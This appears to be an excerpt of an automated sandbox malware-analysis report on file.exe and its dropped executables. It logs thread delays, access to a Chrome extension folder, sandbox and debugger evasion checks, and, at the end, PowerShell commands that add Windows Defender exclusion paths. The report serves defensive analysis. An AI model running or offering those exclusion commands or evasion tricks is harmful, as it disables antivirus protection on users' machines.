            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598672Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598562Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598453Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598328Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598219Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598109Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597984Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597859Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597747Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597591Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597482Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597372Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597263Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597156Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597027Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596922Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596811Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596703Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596587Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596469Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596314Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596195Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596031Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595886Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595725Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595547Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595313Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595068Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 300000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594750Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594500Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594312Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594125Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593964Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593811Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593670Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593516Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593281Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593004Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592625Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592438Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592312Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592156Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591949Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591796Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591671Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591560Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591375Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591249Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591094Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590957Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590828Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590469Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590208Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590047Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589937Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589803Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589656Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589516Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589390Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589248Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589094Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588780Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588653Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588413Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 587734Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 586219Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585938Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585750Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585576Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585344Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584969Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584750Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584453Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584297Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584047Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 583813Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 583500Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 583172Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582906Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582596Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582422Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582188Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581953Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581547Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581321Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581128Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 580875Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 580578Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 580188Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579906Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579764Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579406Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579044Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 578563Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 578338Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 578031Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 577763Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 577521Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 577154Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 576891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 576469Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 576109Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 575781Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 575500Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 575063Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 574807Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 574547Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 574217Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 573899Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 573678Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 573078Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 572563Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 572187Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 571719Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 571317Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 568628Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 568222Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 567753Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 567200Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 566887Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 566361Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 565720Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 565173Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 564829Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 564431Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 563642Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 563017Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 562501Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 561486Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 561133Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 560704Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 560389Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 559830Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 559142Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 558689Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 558220Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 557329Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 556421Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 554874Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 553561Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 551613Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 549926Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 548660Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 547398Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 545719Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 543459Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 541676Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 539573Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 535870Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 533120Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 531120Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 529432Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 527057Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 525792Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 525120Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 523729Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 522526Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 521198Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 512881Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 508316Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 504441Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 500176Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 496369Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 495879Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 494660Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 492910Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 490707Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 489629Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 488301Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 485957Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 484097Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 482535Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 480863Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 479613Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 478207Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\Jump to behavior
            Source: file.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: hgFSNI3
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: o-8%16IIOZZ5aW::85(QC0TFG2LOCRS8R3TX6YSS5L3NKXEYV0AOW7EPWHD9I4STVW37NVM0HHA17F5TYX2LQEMUZDAYUTKA3J2X3GLANKHP7MRRMUKVBGCRJIIJUYFX6A7XNHZSM27G77XE5V4V00B
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011D7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: C0TFG2LOCRS8R3TX6YSS5L3NKXEYV0AOW7EPWHD9I4STVW37NVM0HHA17F5TYX2LQEMUZDAYUTKA3J2X3GLANKHP7MRRMUKVBGCRJIIJUYFX6A7XNHZSM27G77X
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_0040553A FindFirstFileA,32_2_0040553A
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,32_2_004055DE
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSystem information queried: ModuleInformation
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile Volume queried: C:\Users\user\Desktop FullSizeInformation
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile Volume queried: C:\Users\user\Desktop FullSizeInformation
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeFile Volume queried: C:\ FullSizeInformation
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeFile Volume queried: C:\Users\user\Desktop FullSizeInformation
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeFile Volume queried: C:\Users\user\Desktop FullSizeInformation

            Anti Debugging

            barindex
            Tries to detect sandboxes and other dynamic analysis tools (window names)
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeOpen window title or class name: regmonclass
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeOpen window title or class name: procmon_window_class
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeOpen window title or class name: filemonclass
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
            Hides threads from debuggers
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeThread information set: HideFromDebugger
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeThread information set: HideFromDebugger
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeThread information set: HideFromDebugger
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,32_2_00418320
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess queried: DebugPort
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess queried: DebugObjectHandle
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess queried: DebugPort
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeProcess queried: DebugPort
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeProcess queried: DebugObjectHandle
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeProcess queried: DebugPort
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeProcess queried: DebugPort
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeProcess queried: DebugObjectHandle
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeProcess queried: DebugPort
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\file.exeCode function: 0_2_02964668 LdrInitializeThunk,0_2_02964668
            Source: C:\Users\user\Desktop\file.exeMemory allocated: page read and write | page guardJump to behavior
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_0041584A SetUnhandledExceptionFilter,32_2_0041584A
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_0041585C SetUnhandledExceptionFilter,32_2_0041585C

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Adds a directory exclusion to Windows Defender
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -Force
            Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -ForceJump to behavior
